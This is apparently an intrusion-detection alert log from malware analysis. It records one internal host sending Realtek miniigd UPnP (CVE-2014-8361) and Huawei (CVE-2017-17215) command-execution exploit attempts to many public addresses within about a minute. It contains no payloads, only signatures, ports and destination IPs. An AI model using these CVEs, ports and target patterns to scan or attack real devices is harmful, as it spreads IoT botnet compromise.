ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 193.187.192.75

Timestamp:	07/20/24-23:01:14.550730
SID:	2027339
Source Port:	36120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 57.73.235.152

Timestamp:	07/20/24-23:01:32.250506
SID:	2835222
Source Port:	54136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.64.111

Timestamp:	07/20/24-23:01:27.289200
SID:	2835222
Source Port:	51740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.18.19

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	41164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 18.120.15.161

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	35194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.104.241

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	45420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.27.109

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	57172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.151.180.197

Timestamp:	07/20/24-23:01:06.140603
SID:	2027339
Source Port:	42430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 168.69.38.135

Timestamp:	07/20/24-23:01:06.199510
SID:	2025132
Source Port:	51056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.204.142

Timestamp:	07/20/24-23:01:25.395167
SID:	2835222
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.115.96.89

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.35.218.6

Timestamp:	07/20/24-23:01:22.806676
SID:	2835222
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.112.111.250

Timestamp:	07/20/24-23:01:07.537583
SID:	2027339
Source Port:	34676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.163.203.195

Timestamp:	07/20/24-23:01:02.695891
SID:	2835222
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.119.34

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	45708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.176.58.25

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	43648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.43.76.166

Timestamp:	07/20/24-23:01:22.743515
SID:	2835222
Source Port:	56508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.209.55

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	40674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.236.252

Timestamp:	07/20/24-23:00:59.022701
SID:	2835222
Source Port:	40306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.226.134.0

Timestamp:	07/20/24-23:01:36.837667
SID:	2835222
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.26.7.227

Timestamp:	07/20/24-23:01:14.531479
SID:	2027339
Source Port:	41428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.224.102.140

Timestamp:	07/20/24-23:01:22.737100
SID:	2835222
Source Port:	39954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 199.255.47.208

Timestamp:	07/20/24-23:01:14.530241
SID:	2831300
Source Port:	49450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.145.220.146

Timestamp:	07/20/24-23:01:04.853320
SID:	2829579
Source Port:	47924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.87.144.23

Timestamp:	07/20/24-23:01:02.685657
SID:	2829579
Source Port:	56550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.121.3.137

Timestamp:	07/20/24-23:01:14.501512
SID:	2027339
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 35.117.84.161

Timestamp:	07/20/24-23:01:14.517363
SID:	2831300
Source Port:	42652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.187.16.84

Timestamp:	07/20/24-23:01:04.874130
SID:	2835222
Source Port:	41272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.8.53

Timestamp:	07/20/24-23:01:32.267589
SID:	2835222
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.18.188.145

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	34972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 105.237.48.102

Timestamp:	07/20/24-23:01:20.318652
SID:	2027339
Source Port:	55120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.226.47.52

Timestamp:	07/20/24-23:01:04.572286
SID:	2025132
Source Port:	59000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 128.199.8.22

Timestamp:	07/20/24-23:01:14.547223
SID:	2831300
Source Port:	58280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.26.238.160

Timestamp:	07/20/24-23:01:04.977218
SID:	2025132
Source Port:	51762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.148.63.222

Timestamp:	07/20/24-23:01:32.199190
SID:	2829579
Source Port:	34866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.20.242

Timestamp:	07/20/24-23:00:59.020175
SID:	2835222
Source Port:	56530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.150.102.141

Timestamp:	07/20/24-23:01:27.236376
SID:	2829579
Source Port:	36960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.14.209.250

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	47284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.101.162.77

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	34046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.192.113

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	52498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 218.4.141.45

Timestamp:	07/20/24-23:01:21.751574
SID:	2025132
Source Port:	38160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.243.137.80

Timestamp:	07/20/24-23:01:07.271169
SID:	2027339
Source Port:	48956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.214.55.135

Timestamp:	07/20/24-23:01:14.500799
SID:	2027339
Source Port:	55128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.26.236

Timestamp:	07/20/24-23:01:22.737180
SID:	2835222
Source Port:	35238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.145.139.16

Timestamp:	07/20/24-23:01:06.189033
SID:	2027339
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 97.132.111.117

Timestamp:	07/20/24-23:01:14.530241
SID:	2831300
Source Port:	37326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.69.119

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	36850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.63.136.39

Timestamp:	07/20/24-23:01:22.744419
SID:	2829579
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.54.95.252

Timestamp:	07/20/24-23:01:05.440548
SID:	2027339
Source Port:	60468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 129.209.221.62

Timestamp:	07/20/24-23:01:14.503288
SID:	2027339
Source Port:	32988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.45.233.5

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	45550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.220.218.149

Timestamp:	07/20/24-23:01:12.543115
SID:	2829579
Source Port:	50694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.109.233

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	41894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 115.52.50.250

Timestamp:	07/20/24-23:01:14.541501
SID:	2831300
Source Port:	59950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.158.218

Timestamp:	07/20/24-23:01:36.781974
SID:	2829579
Source Port:	37432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.91.52

Timestamp:	07/20/24-23:01:08.392907
SID:	2829579
Source Port:	57514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.51.205

Timestamp:	07/20/24-23:01:15.000001
SID:	2829579
Source Port:	56576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.166.104

Timestamp:	07/20/24-23:01:32.207539
SID:	2835222
Source Port:	58642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.80.254.248

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	43378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.63.203.166

Timestamp:	07/20/24-23:01:36.785491
SID:	2829579
Source Port:	43564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.112.125.91

Timestamp:	07/20/24-23:00:59.022237
SID:	2829579
Source Port:	56484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.239.153

Timestamp:	07/20/24-23:01:02.615483
SID:	2829579
Source Port:	35738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 210.242.150.143

Timestamp:	07/20/24-23:01:05.856286
SID:	2027339
Source Port:	44894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 219.0.14.247

Timestamp:	07/20/24-23:01:14.539077
SID:	2831300
Source Port:	34072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.42.196.199

Timestamp:	07/20/24-23:01:22.746773
SID:	2835222
Source Port:	38180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.184.127

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	58924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.244.232

Timestamp:	07/20/24-23:01:06.812906
SID:	2829579
Source Port:	38352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.230.171.137

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	45954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.113.83.79

Timestamp:	07/20/24-23:01:02.695891
SID:	2835222
Source Port:	47758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 177.130.98.196

Timestamp:	07/20/24-23:01:14.546163
SID:	2831300
Source Port:	59498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.173.230

Timestamp:	07/20/24-23:01:32.248799
SID:	2835222
Source Port:	50110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.248.119

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	59920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 76.214.57.173

Timestamp:	07/20/24-23:01:14.558193
SID:	2831300
Source Port:	43374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.132.119

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.133.173.195

Timestamp:	07/20/24-23:01:22.754723
SID:	2829579
Source Port:	41914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.171.246.211

Timestamp:	07/20/24-23:01:27.363405
SID:	2027339
Source Port:	47474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.214.124.131

Timestamp:	07/20/24-23:01:12.533731
SID:	2835222
Source Port:	59350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 32.227.60.125

Timestamp:	07/20/24-23:01:14.556193
SID:	2831300
Source Port:	44522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 134.45.224.216

Timestamp:	07/20/24-23:01:20.578573
SID:	2027339
Source Port:	59362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 212.236.125.79

Timestamp:	07/20/24-23:01:06.612454
SID:	2027339
Source Port:	46722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.251.250.240

Timestamp:	07/20/24-23:01:14.998674
SID:	2829579
Source Port:	55292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.108.71.72

Timestamp:	07/20/24-23:00:59.020449
SID:	2829579
Source Port:	40410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.96.17

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	56938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.192.10

Timestamp:	07/20/24-23:01:15.071306
SID:	2829579
Source Port:	53690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.38.74.84

Timestamp:	07/20/24-23:01:47.062116
SID:	2835222
Source Port:	49872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.51.155.134

Timestamp:	07/20/24-23:01:08.459273
SID:	2835222
Source Port:	54206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 49.79.222.119

Timestamp:	07/20/24-23:01:05.825168
SID:	2025132
Source Port:	43140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.255.245.79

Timestamp:	07/20/24-23:01:15.059692
SID:	2835222
Source Port:	46202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.111.162.130

Timestamp:	07/20/24-23:01:25.449394
SID:	2835222
Source Port:	59932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 180.57.201.161

Timestamp:	07/20/24-23:01:03.972311
SID:	2025132
Source Port:	60658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.144.48.222

Timestamp:	07/20/24-23:02:11.344274
SID:	2829579
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.98.253.141

Timestamp:	07/20/24-23:01:08.381149
SID:	2835222
Source Port:	50570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.254.20.30

Timestamp:	07/20/24-23:01:27.352942
SID:	2027339
Source Port:	53108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 221.82.215.87

Timestamp:	07/20/24-23:01:14.533279
SID:	2831300
Source Port:	53132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.1.71.80

Timestamp:	07/20/24-23:01:25.390959
SID:	2835222
Source Port:	50694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 175.10.79.147

Timestamp:	07/20/24-23:01:14.513708
SID:	2831300
Source Port:	38188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.227.114.118

Timestamp:	07/20/24-23:01:32.250506
SID:	2829579
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.127.6.20

Timestamp:	07/20/24-23:01:06.335635
SID:	2027339
Source Port:	36394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.53.121.29

Timestamp:	07/20/24-23:01:36.785491
SID:	2835222
Source Port:	51126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 68.30.100.71

Timestamp:	07/20/24-23:01:05.791437
SID:	2027339
Source Port:	46912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.11.160.84

Timestamp:	07/20/24-23:01:05.581362
SID:	2027339
Source Port:	56178
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

